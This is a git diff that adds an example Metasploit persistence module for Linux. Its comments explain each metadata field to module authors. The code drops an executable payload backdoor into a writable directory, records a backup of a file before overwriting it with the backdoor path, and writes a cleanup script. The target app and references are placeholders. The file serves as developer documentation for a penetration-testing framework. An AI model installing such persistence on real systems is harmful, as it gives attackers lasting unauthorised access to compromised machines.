add example linux persistence module

Author: h00die

modules/exploits/example_linux_persistence.rb

@@ -0,0 +1,131 @@
+##
+# This module requires Metasploit: https://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+###
+#
+# This exploit sample shows how a persistence module could be written
+# for a linux computer.
+#
+###
+class MetasploitModule < Msf::Exploit::Local
+  Rank = ExcellentRanking # https://docs.metasploit.com/docs/using-metasploit/intermediate/exploit-ranking.html
+
+  # includes: is_root?
+  include Msf::Post::Linux::Priv
+  # includes writable?, upload_file, upload_and_chmodx, exploit_data
+  include Msf::Post::File
+  # includes generate_payload_exe
+  include Msf::Exploit::EXE
+  # includes register_files_for_cleanup
+  include Msf::Exploit::FileDropper
+  # defines install_persistence and does our cleanup
+  # WritableDir
+  include Msf::Exploit::Local::Persistence
+  # runs check automatically
+  prepend Msf::Exploit::Remote::AutoCheck
+
+  def initialize(info = {})
+    super(
+      update_info(
+        info,
+        # The Name should be just like the line of a Git commit - software name,
+        # vuln type, class. Preferably apply
+        # some search optimization so people can actually find the module.
+        # We encourage consistency between module name and file name.
+        'Name' => 'Sample Linux Persistence',
+        'Description' => %q{
+          This exploit sample shows how a persistence module could be written
+          for a linux computer.
+        },
+        'License' => MSF_LICENSE,
+        # The place to add your name/handle and email.  Twitter and other contact info isn't handled here.
+        # Add reference to additional authors, like those creating original proof of concepts or
+        # reference materials.
+        # It is also common to comment in who did what (PoC vs metasploit module, etc)
+        'Author' => [
+          'h00die <[email protected]>', # msf module
+          'researcher' # original PoC, analysis
+        ],
+        'Platform' => [ 'linux' ],
+        # from underlying architecture of the system.  typically ARCH_X64 or ARCH_X86, but the exploit
+        # may only apply to say ARCH_PPC or something else, where a specific arch is required.
+        # A full list is available in lib/msf/core/payload/uuid.rb
+        'Arch' => [ ARCH_CMD, ARCH_X86, ARCH_X64 ],
+        # What types of sessions we can use this module in conjunction with.  Most modules use libraries
+        # which work on shell and meterpreter, but there may be a nuance between one of them, so best to
+        # test both to ensure compatibility.
+        'SessionTypes' => [ 'shell', 'meterpreter' ],
+        'Targets' => [[ 'Auto', {} ]],
+        # from lib/msf/core/module/privileged, denotes if this requires or gives privileged access
+        # since privilege escalation modules typically result in elevated privileges, this is
+        # generally set to true
+        'Privileged' => true,
+        # Often these have https://attack.mitre.org/techniques/ related to them
+        'References' => [
+          [ 'OSVDB', '12345' ],
+          [ 'EDB', '12345' ],
+          [ 'URL', 'http://www.example.com'],
+          [ 'CVE', '1978-1234']
+        ],
+        'DisclosureDate' => '2023-11-29',
+        # Note that DefaultTarget refers to the index of an item in Targets, rather than name.
+        # It's generally easiest just to put the default at the beginning of the list and skip this
+        # entirely.
+        'DefaultTarget' => 0,
+        # https://docs.metasploit.com/docs/development/developing-modules/module-metadata/definition-of-module-reliability-side-effects-and-stability.html
+        'Notes' => {
+          'Stability' => [CRASH_SAFE],
+          'Reliability' => [],
+          'SideEffects' => []
+        }
+      )
+    )
+    # force exploit is used to bypass the check command results
+    register_advanced_options [
+      OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
+    ]
+  end
+
+  def check
+    # Check a example app is installed
+    print_warning('Payloads in /tmp will only last until reboot, you may want to choose elsewhere.') if datastore['WritableDir'].start_with?('/tmp')
+    return CheckCode::Safe("#{datastore['WritableDir']} doesnt exist") unless exists?(datastore['WritableDir'])
+    return CheckCode::Safe("#{datastore['WritableDir']} isnt writable") unless writable?(datastore['WritableDir'])
+    return CheckCode::Safe('example app is required') unless command_exists?('example')
+
+    CheckCode::Detected('example app is installed')
+  end
+
+  #
+  # The install_persistence method installs the persistence, starts the handler, and does all
+  # the main activities
+  #
+  def install_persistence
+    file_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha(5..10)
+    backdoor = "#{path}/#{file_name}"
+    vprint_status("Writing backdoor to #{backdoor}")
+    # if an arch_cmd payload is selected, write and chmod the file
+    # if an exe payload is selected, write it as an executable file
+    if payload.arch.first == 'cmd'
+      write_file(backdoor, payload.encoded)
+      chmod(backdoor, 0o755)
+    else
+      upload_and_chmodx backdoor, generate_payload_exe
+    end
+    # add removing the file to the cleanup script
+    @clean_up_rc << "rm #{backdoor}\n"
+
+    # back up an example file that we're going to write into so we can restore it
+    # in our cleanup efforts
+    example_file = read_file('/tmp/example_file')
+    backup_file = store_loot('example.file', 'text/plain', session, example_file, 'example_file', '/tmp/example_file backup')
+    print_status("Created /tmp/example_file backup: #{backup_file}")
+    # @clean_up_rc is our instance variable string that tracks what needs to be done to remove the persistence by the user.
+    @clean_up_rc << "upload #{backup_file} /tmp/example_file\n"
+    write_file('/tmp/example_file', backdoor)
+
+    # the cleanup script will automatically be printed when the module is finished
+  end
+end